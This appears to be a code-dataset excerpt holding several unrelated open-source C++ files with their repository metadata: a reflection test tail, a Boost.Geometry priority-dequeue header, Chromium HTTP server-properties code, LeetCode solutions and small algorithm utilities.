object.invoke<int>(item->func_name(), 3)); expect_context_status_ok("236", object.invoke_by_string(item->func_name(), {"3"})); } { EXPECT_EQ(std::string_view("template_func<double>"), template_double_item.func_name()); expect_context_status_ok(236, template_double_item.invoke(&object, 3.0)); const func_item* item = &template_double_item; expect_context_status_ok(236, item->invoke<int>(&object, 3.0)); string_status status = item->invoke_by_string({"3.0"}, &object); expect_ok(status); EXPECT_EQ("236", status.get()); EXPECT_FALSE(item->is_static()); EXPECT_FALSE(item->is_const()); EXPECT_TRUE(item->is_serializable()); EXPECT_EQ(1, item->args_size()); } { const func_item& item = object.get_func_info().get_func_item("void_general_func"); EXPECT_EQ(std::string("void_general_func"), item.func_name()); expect_ok(item.invoke(&object, 4, 4.0)); expect_ok(item.invoke_by_string({"4", "4.0"})); EXPECT_FALSE(item.is_static()); EXPECT_FALSE(item.is_const()); EXPECT_TRUE(item.is_serializable()); EXPECT_EQ(2, item.args_size()); expect_ok(object.invoke(item.func_name(), 4, 4.0)); expect_context_status_ok("", object.invoke_by_string(item.func_name(), {"4", "4.0"})); } { const func_item& item = object.get_func_info().get_func_item("string_call"); EXPECT_EQ(std::string("string_call"), item.func_name()); expect_context_status_ok(std::string("hello world!"), item.invoke<std::string>(&object, std::string("hello world!"))); expect_context_status_ok(std::string("hello world!"), item.invoke_by_string({"hello world!"})); // miss explicit string decare. expect_error(item.invoke<std::string>(&object, "hello world!")); EXPECT_FALSE(item.is_static()); EXPECT_FALSE(item.is_const()); EXPECT_TRUE(item.is_serializable()); EXPECT_EQ(1, item.args_size()); } { const func_item& item = object.get_func_info().get_func_item("virtual_public_func"); EXPECT_EQ(std::string("virtual_public_func"), item.func_name()); Base base; { B b; C c; D d; // It is if they are not virtual public expect_context_status_ok(1, item.invoke<int>(&object, &base)); expect_context_status_ok(2, item.invoke<int>(&object, &b)); expect_context_status_ok(3, item.invoke<int>(&object, &c)); expect_context_status_ok(4, item.invoke<int>(&object, &d)); } { VirtualB b; VirtualC c; VirtualD d; // Can not just call without explicit conversion expect_context_status_ok(2, item.invoke<int>(&object, static_cast<Base*>(&b))); expect_context_status_ok(3, item.invoke<int>(&object, static_cast<Base*>(&c))); expect_context_status_ok(4, item.invoke<int>(&object, dynamic_cast<Base*>(&d))); } EXPECT_FALSE(item.is_static()); EXPECT_FALSE(item.is_const()); EXPECT_FALSE(item.is_serializable()); EXPECT_EQ(1, item.args_size()); } } #undef declare_func_item #undef declare_overload_func_item } // namespace reflection
42.131265
100
0.691497
[ "object" ]
bbe563abad9cf766f5a34e9ff1eeb502010ec630
3,602
hpp
C++
lib/boost_1.78.0/boost/geometry/index/detail/priority_dequeue.hpp
LaudateCorpus1/math
990a66b3cccd27a5fd48626360bb91093a48278b
[ "BSD-3-Clause" ]
326
2015-02-08T13:47:49.000Z
2022-03-16T02:13:59.000Z
lib/boost_1.78.0/boost/geometry/index/detail/priority_dequeue.hpp
LaudateCorpus1/math
990a66b3cccd27a5fd48626360bb91093a48278b
[ "BSD-3-Clause" ]
623
2015-01-02T23:45:23.000Z
2022-03-09T11:15:23.000Z
lib/boost_1.78.0/boost/geometry/index/detail/priority_dequeue.hpp
LaudateCorpus1/math
990a66b3cccd27a5fd48626360bb91093a48278b
[ "BSD-3-Clause" ]
215
2015-01-14T15:50:38.000Z
2022-02-23T03:58:36.000Z
// Boost.Geometry // Copyright (c) 2021, Oracle and/or its affiliates. // Contributed and/or modified by Adam Wulkiewicz, on behalf of Oracle // Licensed under the Boost Software License version 1.0. // http://www.boost.org/users/license.html #ifndef BOOST_GEOMETRY_INDEX_DETAIL_PRIORITY_DEQUEUE_HPP #define BOOST_GEOMETRY_INDEX_DETAIL_PRIORITY_DEQUEUE_HPP #include <vector> #include <boost/geometry/index/detail/maxmin_heap.hpp> namespace boost { namespace geometry { namespace index { namespace detail { template < typename T, typename Container = std::vector<T>, typename Compare = std::less<typename Container::value_type> > class priority_dequeue { public: using container_type = Container; using value_compare = Compare; using value_type = typename Container::value_type; using size_type = typename Container::size_type; using reference = typename Container::reference; using const_reference = typename Container::const_reference; priority_dequeue() : c(), comp() {} explicit priority_dequeue(Compare const& compare) : c(), comp(compare) {} priority_dequeue(Compare const& compare, Container const& cont) : c(cont), comp(compare) { make_maxmin_heap(c.begin(), c.end(), comp); } priority_dequeue(Compare const& compare, Container&& cont) : c(std::move(cont)), comp(compare) { make_maxmin_heap(c.begin(), c.end(), comp); } template <typename It> priority_dequeue(It first, It last) : c(first, last), comp() { make_maxmin_heap(c.begin(), c.end(), comp); } template <typename It> priority_dequeue(It first, It last, Compare const& compare) : c(first, last), comp(compare) { make_maxmin_heap(c.begin(), c.end(), comp); } template <typename It> priority_dequeue(It first, It last, Compare const& compare, Container const& cont) : c(cont), comp(compare) { c.insert(first, last); make_maxmin_heap(c.begin(), c.end(), comp); } template <typename It> priority_dequeue(It first, It last, Compare const& compare, Container&& cont) : c(std::move(cont)), comp(compare) { c.insert(first, last); make_maxmin_heap(c.begin(), c.end(), comp); } const_reference top() const { return *c.begin(); } const_reference bottom() const { return bottom_maxmin_heap(c.begin(), c.end(), comp); } void push(const value_type& value) { c.push_back(value); push_maxmin_heap(c.begin(), c.end(), comp); } void push(value_type&& value) { c.push_back(std::move(value)); push_maxmin_heap(c.begin(), c.end(), comp); } template <typename ...Args> void emplace(Args&& ...args) { c.emplace_back(std::forward<Args>(args)...); push_maxmin_heap(c.begin(), c.end(), comp); } void pop_top() { pop_top_maxmin_heap(c.begin(), c.end(), comp); c.pop_back(); } void pop_bottom() { pop_bottom_maxmin_heap(c.begin(), c.end(), comp); c.pop_back(); } bool empty() const { return c.empty(); } size_t size() const { return c.size(); } void swap(priority_dequeue& other) { using std::swap; std::swap(c, other.c); std::swap(comp, other.comp); } protected: Container c; Compare comp; }; }}}} // namespace boost::geometry::index::detail #endif // BOOST_GEOMETRY_INDEX_DETAIL_PRIORITY_DEQUEUE_HPP
23.854305
86
0.620766
[ "geometry", "vector" ]
bbec720925bf1431758b0326cea6f1b7b424f7ea
1,279
cpp
C++
Answer/ans_code_and_note/chapter4/triangular.cpp
seanleecn/EssentialCPP
a2cfbd054888a3d07cb0ac22230c34f6ce90bef5
[ "MIT" ]
null
null
null
Answer/ans_code_and_note/chapter4/triangular.cpp
seanleecn/EssentialCPP
a2cfbd054888a3d07cb0ac22230c34f6ce90bef5
[ "MIT" ]
null
null
null
Answer/ans_code_and_note/chapter4/triangular.cpp
seanleecn/EssentialCPP
a2cfbd054888a3d07cb0ac22230c34f6ce90bef5
[ "MIT" ]
null
null
null
#include <iostream> #include <string> #include <vector> using namespace std; class Triangular{ public: Triangular(int length = 1, int beg_pos = 1) { _length = length; _beg_pos = beg_pos; for (int i = beg_pos; i < beg_pos + length; i++) { sivec.push_back(i * (i + 1) / 2); } } int beg_pos() const { return _beg_pos; } int length() const { return _length; } void show() const { for (int i = 0; i < sivec.size(); i++) { cout << sivec[i] << " "; } cout << endl; } int sum() const { int sum = 0; for (int i = 0; i < sivec.size(); i++) { sum += sivec[i]; } return sum; } private: int _length; int _beg_pos; vector<int> sivec; }; ostream &operator<<(ostream &os, Triangular &rhs) { os << "(" << rhs.beg_pos() << "," << rhs.length() << ")"; rhs.show(); return os; } int main(void) { Triangular tr(4); cout << tr << "--sum of elements:" << tr.sum() << endl; Triangular tr2(4, 3); cout << tr2 << "--sum of elements:" << tr2.sum() << endl; Triangular tr3(4, 8); cout << tr3 << "--sum of elements:" << tr3.sum() << endl; return 0; }
19.676923
61
0.476935
[ "vector" ]
bbf2626e8dc43b22358765902dc47aea0732fbaf
1,054
cpp
C++
leetcode/two_sum/leetcode_53.cpp
HuangJingGitHub/PracMakePert_C-Cpp
6ed39e757ad8ba7bdd75fffdaf28d17a294a11e5
[ "Apache-2.0" ]
1
2019-10-17T03:13:29.000Z
2019-10-17T03:13:29.000Z
leetcode/two_sum/leetcode_53.cpp
HuangJingGitHub/PracMakePert_C-Cpp
6ed39e757ad8ba7bdd75fffdaf28d17a294a11e5
[ "Apache-2.0" ]
null
null
null
leetcode/two_sum/leetcode_53.cpp
HuangJingGitHub/PracMakePert_C-Cpp
6ed39e757ad8ba7bdd75fffdaf28d17a294a11e5
[ "Apache-2.0" ]
null
null
null
// Solution 1 class Solution { public: int maxSubArray(vector<int>& nums) { if (nums.size() == 0) return NULL; int res = nums[0]; int sum = 0; for (int num:nums){ if (sum > 0) sum += num; else sum = num; res = max(res, sum); } return res; } }; // Solution 2 class Solution { public: int maxSubArray(vector<int>& nums) { int currentSum = nums[0], maxSum = nums[0]; for (int i = 1; i < nums.size(); i++){ currentSum = max(currentSum + nums[i], nums[i]); maxSum = max(maxSum, currentSum); } return maxSum; } }; // or class Solution { public: int maxSubArray(vector<int>& nums) { int res = nums[0], curSum = 0; for (int i = 0; i < nums.size(); i++) { curSum += nums[i]; res = max(res, curSum); if (curSum < 0) curSum = 0; } return res; } };
21.510204
60
0.433586
[ "vector" ]
bbf30c8b2f31f330611d66199ee191fa77816568
21,242
cc
C++
Source/chrome/net/http/http_server_properties_impl.cc
yury-s/v8-inspector
0ab4779e0909d387f243f41ca2621237cdb0c7fe
[ "BSD-3-Clause" ]
20
2015-08-26T06:46:00.000Z
2019-02-27T09:05:58.000Z
Source/chrome/net/http/http_server_properties_impl.cc
yury-s/v8-inspector
0ab4779e0909d387f243f41ca2621237cdb0c7fe
[ "BSD-3-Clause" ]
null
null
null
Source/chrome/net/http/http_server_properties_impl.cc
yury-s/v8-inspector
0ab4779e0909d387f243f41ca2621237cdb0c7fe
[ "BSD-3-Clause" ]
2
2015-08-26T05:49:35.000Z
2020-02-03T20:22:43.000Z
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "net/http/http_server_properties_impl.h" #include "base/bind.h" #include "base/logging.h" #include "base/memory/scoped_ptr.h" #include "base/message_loop/message_loop.h" #include "base/metrics/histogram.h" #include "base/stl_util.h" #include "base/strings/string_util.h" #include "base/strings/stringprintf.h" #include "base/values.h" namespace net { namespace { const uint64 kBrokenAlternativeProtocolDelaySecs = 300; } // namespace HttpServerPropertiesImpl::HttpServerPropertiesImpl() : spdy_servers_map_(SpdyServerHostPortMap::NO_AUTO_EVICT), alternative_service_map_(AlternativeServiceMap::NO_AUTO_EVICT), spdy_settings_map_(SpdySettingsMap::NO_AUTO_EVICT), server_network_stats_map_(ServerNetworkStatsMap::NO_AUTO_EVICT), alternative_service_probability_threshold_(1.0), weak_ptr_factory_(this) { canonical_suffixes_.push_back(".c.youtube.com"); canonical_suffixes_.push_back(".googlevideo.com"); canonical_suffixes_.push_back(".googleusercontent.com"); } HttpServerPropertiesImpl::~HttpServerPropertiesImpl() { } void HttpServerPropertiesImpl::InitializeSpdyServers( std::vector<std::string>* spdy_servers, bool support_spdy) { DCHECK(CalledOnValidThread()); if (!spdy_servers) return; // Add the entries from persisted data. for (std::vector<std::string>::reverse_iterator it = spdy_servers->rbegin(); it != spdy_servers->rend(); ++it) { spdy_servers_map_.Put(*it, support_spdy); } } void HttpServerPropertiesImpl::InitializeAlternativeServiceServers( AlternativeServiceMap* alternative_service_map) { // Keep all the broken ones since those don't get persisted. for (AlternativeServiceMap::iterator it = alternative_service_map_.begin(); it != alternative_service_map_.end();) { if (IsAlternativeServiceBroken(it->second.alternative_service)) { ++it; } else { it = alternative_service_map_.Erase(it); } } // Add the entries from persisted data. for (AlternativeServiceMap::reverse_iterator it = alternative_service_map->rbegin(); it != alternative_service_map->rend(); ++it) { alternative_service_map_.Put(it->first, it->second); } // Attempt to find canonical servers. uint16 canonical_ports[] = { 80, 443 }; for (size_t i = 0; i < canonical_suffixes_.size(); ++i) { std::string canonical_suffix = canonical_suffixes_[i]; for (size_t j = 0; j < arraysize(canonical_ports); ++j) { HostPortPair canonical_host(canonical_suffix, canonical_ports[j]); // If we already have a valid canonical server, we're done. if (ContainsKey(canonical_host_to_origin_map_, canonical_host) && (alternative_service_map_.Peek( canonical_host_to_origin_map_[canonical_host]) != alternative_service_map_.end())) { continue; } // Now attempt to find a server which matches this origin and set it as // canonical. for (AlternativeServiceMap::const_iterator it = alternative_service_map_.begin(); it != alternative_service_map_.end(); ++it) { if (EndsWith(it->first.host(), canonical_suffixes_[i], false)) { canonical_host_to_origin_map_[canonical_host] = it->first; break; } } } } } void HttpServerPropertiesImpl::InitializeSpdySettingsServers( SpdySettingsMap* spdy_settings_map) { for (SpdySettingsMap::reverse_iterator it = spdy_settings_map->rbegin(); it != spdy_settings_map->rend(); ++it) { spdy_settings_map_.Put(it->first, it->second); } } void HttpServerPropertiesImpl::InitializeSupportsQuic( IPAddressNumber* last_address) { if (last_address) last_quic_address_ = *last_address; } void HttpServerPropertiesImpl::InitializeServerNetworkStats( ServerNetworkStatsMap* server_network_stats_map) { for (ServerNetworkStatsMap::reverse_iterator it = server_network_stats_map->rbegin(); it != server_network_stats_map->rend(); ++it) { server_network_stats_map_.Put(it->first, it->second); } } void HttpServerPropertiesImpl::GetSpdyServerList( base::ListValue* spdy_server_list, size_t max_size) const { DCHECK(CalledOnValidThread()); DCHECK(spdy_server_list); spdy_server_list->Clear(); size_t count = 0; // Get the list of servers (host/port) that support SPDY. for (SpdyServerHostPortMap::const_iterator it = spdy_servers_map_.begin(); it != spdy_servers_map_.end() && count < max_size; ++it) { const std::string spdy_server_host_port = it->first; if (it->second) { spdy_server_list->Append(new base::StringValue(spdy_server_host_port)); ++count; } } } base::WeakPtr<HttpServerProperties> HttpServerPropertiesImpl::GetWeakPtr() { return weak_ptr_factory_.GetWeakPtr(); } void HttpServerPropertiesImpl::Clear() { DCHECK(CalledOnValidThread()); spdy_servers_map_.Clear(); alternative_service_map_.Clear(); canonical_host_to_origin_map_.clear(); spdy_settings_map_.Clear(); last_quic_address_.clear(); server_network_stats_map_.Clear(); } bool HttpServerPropertiesImpl::SupportsRequestPriority( const HostPortPair& host_port_pair) { DCHECK(CalledOnValidThread()); if (host_port_pair.host().empty()) return false; SpdyServerHostPortMap::iterator spdy_host_port = spdy_servers_map_.Get(host_port_pair.ToString()); if (spdy_host_port != spdy_servers_map_.end() && spdy_host_port->second) return true; const AlternativeService alternative_service = GetAlternativeService(host_port_pair); return alternative_service.protocol == QUIC; } void HttpServerPropertiesImpl::SetSupportsSpdy( const HostPortPair& host_port_pair, bool support_spdy) { DCHECK(CalledOnValidThread()); if (host_port_pair.host().empty()) return; SpdyServerHostPortMap::iterator spdy_host_port = spdy_servers_map_.Get(host_port_pair.ToString()); if ((spdy_host_port != spdy_servers_map_.end()) && (spdy_host_port->second == support_spdy)) { return; } // Cache the data. spdy_servers_map_.Put(host_port_pair.ToString(), support_spdy); } bool HttpServerPropertiesImpl::RequiresHTTP11( const HostPortPair& host_port_pair) { DCHECK(CalledOnValidThread()); if (host_port_pair.host().empty()) return false; return (http11_servers_.find(host_port_pair) != http11_servers_.end()); } void HttpServerPropertiesImpl::SetHTTP11Required( const HostPortPair& host_port_pair) { DCHECK(CalledOnValidThread()); if (host_port_pair.host().empty()) return; http11_servers_.insert(host_port_pair); } void HttpServerPropertiesImpl::MaybeForceHTTP11(const HostPortPair& server, SSLConfig* ssl_config) { if (RequiresHTTP11(server)) { ForceHTTP11(ssl_config); } } std::string HttpServerPropertiesImpl::GetCanonicalSuffix( const std::string& host) { // If this host ends with a canonical suffix, then return the canonical // suffix. for (size_t i = 0; i < canonical_suffixes_.size(); ++i) { std::string canonical_suffix = canonical_suffixes_[i]; if (EndsWith(host, canonical_suffixes_[i], false)) { return canonical_suffix; } } return std::string(); } AlternativeService HttpServerPropertiesImpl::GetAlternativeService( const HostPortPair& origin) { AlternativeServiceMap::const_iterator it = alternative_service_map_.Get(origin); if (it != alternative_service_map_.end()) { if (it->second.probability < alternative_service_probability_threshold_) { return AlternativeService(); } AlternativeService alternative_service(it->second.alternative_service); if (alternative_service.host.empty()) { alternative_service.host = origin.host(); } return alternative_service; } CanonicalHostMap::const_iterator canonical = GetCanonicalHost(origin); if (canonical == canonical_host_to_origin_map_.end()) { return AlternativeService(); } it = alternative_service_map_.Get(canonical->second); if (it == alternative_service_map_.end()) { return AlternativeService(); } if (it->second.probability < alternative_service_probability_threshold_) { return AlternativeService(); } AlternativeService alternative_service(it->second.alternative_service); if (alternative_service.host.empty()) { alternative_service.host = canonical->second.host(); } if (IsAlternativeServiceBroken(alternative_service)) { RemoveCanonicalHost(canonical->second); return AlternativeService(); } // Empty hostname: if alternative service for with hostname of canonical host // is not broken, then return alternative service with hostname of origin. if (it->second.alternative_service.host.empty()) { alternative_service.host = origin.host(); } return alternative_service; } void HttpServerPropertiesImpl::SetAlternativeService( const HostPortPair& origin, const AlternativeService& alternative_service, double alternative_probability) { AlternativeService complete_alternative_service(alternative_service); if (complete_alternative_service.host.empty()) { complete_alternative_service.host = origin.host(); } if (IsAlternativeServiceBroken(complete_alternative_service)) { DVLOG(1) << "Ignore alternative service since it is known to be broken."; return; } const AlternativeServiceInfo alternative_service_info( alternative_service, alternative_probability); AlternativeServiceMap::const_iterator it = GetAlternateProtocolIterator(origin); if (it != alternative_service_map_.end()) { const AlternativeServiceInfo existing_alternative_service_info = it->second; if (existing_alternative_service_info != alternative_service_info) { LOG(WARNING) << "Changing the alternative service for: " << origin.ToString() << " from " << existing_alternative_service_info.ToString() << " to " << alternative_service_info.ToString() << "."; } } else { if (alternative_probability >= alternative_service_probability_threshold_) { // TODO(rch): Consider the case where multiple requests are started // before the first completes. In this case, only one of the jobs // would reach this code, whereas all of them should should have. HistogramAlternateProtocolUsage(ALTERNATE_PROTOCOL_USAGE_MAPPING_MISSING); } } alternative_service_map_.Put(origin, alternative_service_info); // If this host ends with a canonical suffix, then set it as the // canonical host. for (size_t i = 0; i < canonical_suffixes_.size(); ++i) { std::string canonical_suffix = canonical_suffixes_[i]; if (EndsWith(origin.host(), canonical_suffixes_[i], false)) { HostPortPair canonical_host(canonical_suffix, origin.port()); canonical_host_to_origin_map_[canonical_host] = origin; break; } } } void HttpServerPropertiesImpl::MarkAlternativeServiceBroken( const AlternativeService& alternative_service) { if (alternative_service.protocol == UNINITIALIZED_ALTERNATE_PROTOCOL) { LOG(DFATAL) << "Trying to mark unknown alternate protocol broken."; return; } int count = ++recently_broken_alternative_services_[alternative_service]; base::TimeDelta delay = base::TimeDelta::FromSeconds(kBrokenAlternativeProtocolDelaySecs); base::TimeTicks when = base::TimeTicks::Now() + delay * (1 << (count - 1)); auto result = broken_alternative_services_.insert( std::make_pair(alternative_service, when)); // Return if alternative service is already in expiration queue. if (!result.second) { return; } // If this is the only entry in the list, schedule an expiration task. // Otherwise it will be rescheduled automatically when the pending task runs. if (broken_alternative_services_.size() == 1) { ScheduleBrokenAlternateProtocolMappingsExpiration(); } } void HttpServerPropertiesImpl::MarkAlternativeServiceRecentlyBroken( const AlternativeService& alternative_service) { if (!ContainsKey(recently_broken_alternative_services_, alternative_service)) recently_broken_alternative_services_[alternative_service] = 1; } bool HttpServerPropertiesImpl::IsAlternativeServiceBroken( const AlternativeService& alternative_service) const { // Empty host means use host of origin, callers are supposed to substitute. DCHECK(!alternative_service.host.empty()); return ContainsKey(broken_alternative_services_, alternative_service); } bool HttpServerPropertiesImpl::WasAlternativeServiceRecentlyBroken( const AlternativeService& alternative_service) { if (alternative_service.protocol == UNINITIALIZED_ALTERNATE_PROTOCOL) return false; return ContainsKey(recently_broken_alternative_services_, alternative_service); } void HttpServerPropertiesImpl::ConfirmAlternativeService( const AlternativeService& alternative_service) { if (alternative_service.protocol == UNINITIALIZED_ALTERNATE_PROTOCOL) return; broken_alternative_services_.erase(alternative_service); recently_broken_alternative_services_.erase(alternative_service); } void HttpServerPropertiesImpl::ClearAlternativeService( const HostPortPair& origin) { RemoveCanonicalHost(origin); AlternativeServiceMap::iterator it = alternative_service_map_.Peek(origin); if (it == alternative_service_map_.end()) { return; } AlternativeService alternative_service(it->second.alternative_service); if (alternative_service.host.empty()) { alternative_service.host = origin.host(); } alternative_service_map_.Erase(it); // The following is temporary to keep the existing semantics, which is that if // there is a broken alternative service in the mapping, then this method // leaves it in a non-broken, but recently broken state. // // TODO(bnc): // 1. Verify and document the class invariant that no broken alternative // service can be in the mapping. // 2. Remove the rest of this method as it will be moot. broken_alternative_services_.erase(alternative_service); } const AlternativeServiceMap& HttpServerPropertiesImpl::alternative_service_map() const { return alternative_service_map_; } base::Value* HttpServerPropertiesImpl::GetAlternativeServiceInfoAsValue() const { base::ListValue* dict_list = new base::ListValue(); for (const auto& alternative_service_map_item : alternative_service_map_) { const HostPortPair& host_port_pair = alternative_service_map_item.first; const AlternativeServiceInfo& alternative_service_info = alternative_service_map_item.second; std::string alternative_service_string(alternative_service_info.ToString()); AlternativeService alternative_service( alternative_service_info.alternative_service); if (alternative_service.host.empty()) { alternative_service.host = host_port_pair.host(); } if (IsAlternativeServiceBroken(alternative_service)) { alternative_service_string.append(" (broken)"); } scoped_ptr<base::DictionaryValue> dict(new base::DictionaryValue()); dict->SetString("host_port_pair", host_port_pair.ToString()); dict->SetString("alternative_service", alternative_service_string); dict_list->Append(dict.Pass()); } return dict_list; } const SettingsMap& HttpServerPropertiesImpl::GetSpdySettings( const HostPortPair& host_port_pair) { SpdySettingsMap::iterator it = spdy_settings_map_.Get(host_port_pair); if (it == spdy_settings_map_.end()) { CR_DEFINE_STATIC_LOCAL(SettingsMap, kEmptySettingsMap, ()); return kEmptySettingsMap; } return it->second; } bool HttpServerPropertiesImpl::SetSpdySetting( const HostPortPair& host_port_pair, SpdySettingsIds id, SpdySettingsFlags flags, uint32 value) { if (!(flags & SETTINGS_FLAG_PLEASE_PERSIST)) return false; SettingsFlagsAndValue flags_and_value(SETTINGS_FLAG_PERSISTED, value); SpdySettingsMap::iterator it = spdy_settings_map_.Get(host_port_pair); if (it == spdy_settings_map_.end()) { SettingsMap settings_map; settings_map[id] = flags_and_value; spdy_settings_map_.Put(host_port_pair, settings_map); } else { SettingsMap& settings_map = it->second; settings_map[id] = flags_and_value; } return true; } void HttpServerPropertiesImpl::ClearSpdySettings( const HostPortPair& host_port_pair) { SpdySettingsMap::iterator it = spdy_settings_map_.Peek(host_port_pair); if (it != spdy_settings_map_.end()) spdy_settings_map_.Erase(it); } void HttpServerPropertiesImpl::ClearAllSpdySettings() { spdy_settings_map_.Clear(); } const SpdySettingsMap& HttpServerPropertiesImpl::spdy_settings_map() const { return spdy_settings_map_; } bool HttpServerPropertiesImpl::GetSupportsQuic( IPAddressNumber* last_address) const { if (last_quic_address_.empty()) return false; *last_address = last_quic_address_; return true; } void HttpServerPropertiesImpl::SetSupportsQuic(bool used_quic, const IPAddressNumber& address) { if (!used_quic) { last_quic_address_.clear(); } else { last_quic_address_ = address; } } void HttpServerPropertiesImpl::SetServerNetworkStats( const HostPortPair& host_port_pair, ServerNetworkStats stats) { server_network_stats_map_.Put(host_port_pair, stats); } const ServerNetworkStats* HttpServerPropertiesImpl::GetServerNetworkStats( const HostPortPair& host_port_pair) { ServerNetworkStatsMap::iterator it = server_network_stats_map_.Get(host_port_pair); if (it == server_network_stats_map_.end()) { return NULL; } return &it->second; } const ServerNetworkStatsMap& HttpServerPropertiesImpl::server_network_stats_map() const { return server_network_stats_map_; } void HttpServerPropertiesImpl::SetAlternativeServiceProbabilityThreshold( double threshold) { alternative_service_probability_threshold_ = threshold; } AlternativeServiceMap::const_iterator HttpServerPropertiesImpl::GetAlternateProtocolIterator( const HostPortPair& server) { AlternativeServiceMap::const_iterator it = alternative_service_map_.Get(server); if (it != alternative_service_map_.end()) return it; CanonicalHostMap::const_iterator canonical = GetCanonicalHost(server); if (canonical == canonical_host_to_origin_map_.end()) { return alternative_service_map_.end(); } const HostPortPair canonical_host_port = canonical->second; it = alternative_service_map_.Get(canonical_host_port); if (it == alternative_service_map_.end()) { return alternative_service_map_.end(); } const AlternativeService alternative_service( it->second.alternative_service.protocol, canonical_host_port.host(), it->second.alternative_service.port); if (!IsAlternativeServiceBroken(alternative_service)) { return it; } RemoveCanonicalHost(canonical_host_port); return alternative_service_map_.end(); } HttpServerPropertiesImpl::CanonicalHostMap::const_iterator HttpServerPropertiesImpl::GetCanonicalHost(HostPortPair server) const { for (size_t i = 0; i < canonical_suffixes_.size(); ++i) { std::string canonical_suffix = canonical_suffixes_[i]; if (EndsWith(server.host(), canonical_suffixes_[i], false)) { HostPortPair canonical_host(canonical_suffix, server.port()); return canonical_host_to_origin_map_.find(canonical_host); } } return canonical_host_to_origin_map_.end(); } void HttpServerPropertiesImpl::RemoveCanonicalHost( const HostPortPair& server) { CanonicalHostMap::const_iterator canonical = GetCanonicalHost(server); if (canonical == canonical_host_to_origin_map_.end()) return; if (!canonical->second.Equals(server)) return; canonical_host_to_origin_map_.erase(canonical->first); } void HttpServerPropertiesImpl::ExpireBrokenAlternateProtocolMappings() { base::TimeTicks now = base::TimeTicks::Now(); while (!broken_alternative_services_.empty()) { BrokenAlternativeServices::iterator it = broken_alternative_services_.begin(); if (now < it->second) { break; } const AlternativeService alternative_service = it->first; broken_alternative_services_.erase(it); // TODO(bnc): Make sure broken alternative services are not in the mapping. ClearAlternativeService( HostPortPair(alternative_service.host, alternative_service.port)); } ScheduleBrokenAlternateProtocolMappingsExpiration(); } void HttpServerPropertiesImpl::ScheduleBrokenAlternateProtocolMappingsExpiration() { if (broken_alternative_services_.empty()) { return; } base::TimeTicks now = base::TimeTicks::Now(); base::TimeTicks when = broken_alternative_services_.front().second; base::TimeDelta delay = when > now ? when - now : base::TimeDelta(); base::MessageLoop::current()->PostDelayedTask( FROM_HERE, base::Bind( &HttpServerPropertiesImpl::ExpireBrokenAlternateProtocolMappings, weak_ptr_factory_.GetWeakPtr()), delay); } } // namespace net
35.168874
80
0.744092
[ "vector" ]
bbfe345eb174d8a8c1ce2c5a0ab12d52ae9cb03a
1,755
hxx
C++
src/_algorithm.hxx
puzzlef/pagerank-monolithic-vs-levelwise
f0402ce161e43d403919f8804b0752c5781778b8
[ "MIT" ]
null
null
null
src/_algorithm.hxx
puzzlef/pagerank-monolithic-vs-levelwise
f0402ce161e43d403919f8804b0752c5781778b8
[ "MIT" ]
null
null
null
src/_algorithm.hxx
puzzlef/pagerank-monolithic-vs-levelwise
f0402ce161e43d403919f8804b0752c5781778b8
[ "MIT" ]
null
null
null
#pragma once #include <vector> #include <unordered_map> #include <iterator> #include <algorithm> using std::vector; using std::unordered_map; using std::iterator_traits; using std::back_inserter; using std::set_difference; using std::count; using std::count_if; using std::find; // FIND // ---- template <class J, class T> auto find(const J& x, const T& v) { return find(x.begin(), x.end(), v); } template <class J, class T> int findIndex(const J& x, const T& v) { auto i = find(x.begin(), x.end(), v); return i==x.end()? -1 : i-x.begin(); } // COUNT-* // ------- template <class J, class T> int count(const J& x, const T& v) { return count(x.begin(), x.end(), v); } template <class I, class F> int countIf(I ib, I ie, F fn) { return count_if(ib, ie, fn); } template <class J, class F> int countIf(const J& x, F fn) { return count_if(x.begin(), x.end(), fn); } // INDICES // ------- template <class I> auto indices(I ib, I ie) { using K = typename iterator_traits<I>::value_type; unordered_map<K, int> a; int i = 0; for (I it=ib; it!=ie; ++it) a[*it] = i++; return a; } template <class J> auto indices(J&& x) { return indices(x.begin(), x.end()); } // SET-DIFFERENCE // -------------- template <class L, class J, class K> void setDifference(L&& a, J&& x, K&& y) { set_difference(x.begin(), x.end(), y.begin(), y.end(), a.begin()); } template <class T, class J, class K> void setDifference(vector<T>& a, J&& x, K&& y) { set_difference(x.begin(), x.end(), y.begin(), y.end(), back_inserter(a)); } template <class J, class K> auto setDifference(J&& x, K&& y) { using I = decltype(x.begin()); using T = typename iterator_traits<I>::value_type; vector<T> a; setDifference(a, x, y); return a; }
17.908163
75
0.612536
[ "vector" ]
bbff3e57019562624654a959f5771b7ceab3725f
319
cpp
C++
1619-mean-of-array-after-removing-some-elements/1619-mean-of-array-after-removing-some-elements.cpp
rishusingh022/Leetcode-gfg-solutions
c4bc26d75557166656e0b2d54e80c87023d30fcd
[ "MIT" ]
null
null
null
1619-mean-of-array-after-removing-some-elements/1619-mean-of-array-after-removing-some-elements.cpp
rishusingh022/Leetcode-gfg-solutions
c4bc26d75557166656e0b2d54e80c87023d30fcd
[ "MIT" ]
null
null
null
1619-mean-of-array-after-removing-some-elements/1619-mean-of-array-after-removing-some-elements.cpp
rishusingh022/Leetcode-gfg-solutions
c4bc26d75557166656e0b2d54e80c87023d30fcd
[ "MIT" ]
null
null
null
class Solution { public: double trimMean(vector<int>& arr) { sort(arr.begin(),arr.end()); int ind=floor(arr.size()*0.05); double sum=0; for(int i=ind;i<arr.size()-ind;i++){ sum+=arr[i]; } //cout<<arr.size(); return sum/(arr.size()-2*ind); } };
24.538462
44
0.482759
[ "vector" ]
01046ee6fd257cd78772344ccdae24c0dcd18500
6,299
hh
C++
dune/fem/oseen/stab_coeff.hh
renemilk/DUNE-FEM-Oseen
2cc2a1a70f81469f13a2330be285960a13f78fdf
[ "BSD-2-Clause" ]
null
null
null
dune/fem/oseen/stab_coeff.hh
renemilk/DUNE-FEM-Oseen
2cc2a1a70f81469f13a2330be285960a13f78fdf
[ "BSD-2-Clause" ]
null
null
null
dune/fem/oseen/stab_coeff.hh
renemilk/DUNE-FEM-Oseen
2cc2a1a70f81469f13a2330be285960a13f78fdf
[ "BSD-2-Clause" ]
null
null
null
